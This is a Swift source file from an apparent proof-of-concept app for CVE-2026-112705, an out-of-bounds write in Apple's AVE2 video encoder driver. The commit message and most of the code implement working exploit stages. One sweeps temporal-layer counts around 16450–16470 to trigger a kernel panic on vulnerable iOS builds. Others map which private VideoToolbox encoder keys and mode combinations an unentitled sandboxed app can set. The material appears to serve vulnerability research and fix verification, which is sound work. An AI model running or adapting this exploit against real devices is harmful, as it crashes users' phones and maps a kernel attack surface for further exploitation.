Files
ave27/Sources/Explore.swift
T
JBJF bc019e2b6c AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)
- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima):
  stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept
- New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix,
  stage15 private-key entitlement audit (23 keys)
- Panic journal: kern.boottime-based in-app panic evidence after reboot
- Interactive SwiftUI console + NTL field + report share; header shows
  PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+
- App icon: temporal-layer stack, top layer displaced past the stack edge
- scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
2026-10-30 19:13:13 +08:00

145 lines
8.5 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// AVE27 · exploration stages — what lies beyond the panic
// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write.
// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private
// parameter combinations the driver accepts from a stock sandboxed app.
// stage15: private property key audit — the full acceptance surface of
// non-public VideoToolbox keys with no entitlement behind them.
// All three share the live.txt oracle; stage13 arms the panic journal per rung.
import Foundation
import VideoToolbox
import CoreMedia
import CoreVideo
extension Probe {
/// Stage 13: NTL threshold sweep, one session per rung, bottom-up.
/// On a vulnerable build the walk panics at the first landing rung — live.txt
/// ends on that rung and the panic journal proves it after the reboot.
/// On 27.2 the first rung past the cap returns -12900 at SetProperty and the
/// sweep stops clean: two disjoint, unambiguous signatures.
func stage13(lo: Int = 16450, hi: Int = 16470) {
emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)")
for n in lo...hi {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage13(\(n)): no session"); return
}
let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1))
let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20))
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString,
value: NSNumber(value: n))
if st != 0 {
emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached")
VTCompressionSessionInvalidate(session)
break
}
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return }
armJournal("stage13", ntl: n)
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " +
readBack(session, "NumberOfTemporalLayers" as CFString))
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
VTCompressionSessionInvalidate(session)
finishJournal()
if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break }
}
emit("stage13 complete — device survived every rung")
}
/// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic
/// recipe is one cell of this grid; the rest maps which private mode selectors
/// the driver honours from an unentitled third-party process.
func stage14() {
let usages = [0, 1, 4, 8, 16]
let rcmodes = [0, 1, 8, 20, 22, 23]
emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)")
for u in usages {
for rc in rcmodes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage14 u\(u) r\(rc): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u))
let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc))
let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8))
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage14: no pixel"); return }
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)")
VTCompressionSessionInvalidate(session)
}
}
emit("stage14 complete — acceptance matrix above")
}
/// Stage 15: private property key audit. Which non-public VideoToolbox keys a
/// stock, sandboxed, unentitled app can set on an Apple hardware encoder session —
/// the privilege surface beyond the crash. Accepted keys reach the kernel driver
/// through the same unvalidated property path the CVE lives in.
func stage15() {
// (key, probe value): numbers probe the scalar path, arrays the table path
let probes: [(String, Any)] = [
("EncoderUsage", NSNumber(value: 1)),
("RCMode", NSNumber(value: 20)),
("NumberOfTemporalLayers", NSNumber(value: 4)),
("NumOfTemporalLayer", NSNumber(value: 4)),
("NumOfGOPLayer", NSNumber(value: 2)),
("BaseLayerFrameRate", NSNumber(value: 15)),
("MCTFStrengthLevel", NSNumber(value: 3)),
("MCTFMaxNextRefNum", NSNumber(value: 2)),
("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString),
("LRMERSPassNum", NSNumber(value: 1)),
("MultiReferencePSpacing", NSNumber(value: 3)),
("NumNegativePics", NSNumber(value: 4)),
("NumPositivePics", NSNumber(value: 0)),
("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray),
("RPSData", [NSNumber(value: 1)] as CFArray),
("RPSInfo", [NSNumber(value: 1)] as CFArray),
("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray),
("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray),
("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("EnableUserRefForFacetime", kCFBooleanTrue as Any),
("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2),
"AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary),
("TemporalIDNestingFlag", NSNumber(value: 1)),
]
emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)")
var accepted: [String] = []
for (key, value) in probes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage15 \(key): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef)
let rd = readBack(session, key as CFString)
emit("stage15 \(key) -> status=\(st) readback: \(rd)")
if st == 0 { accepted.append(key) }
VTCompressionSessionInvalidate(session)
}
emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))")
emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app")
}
}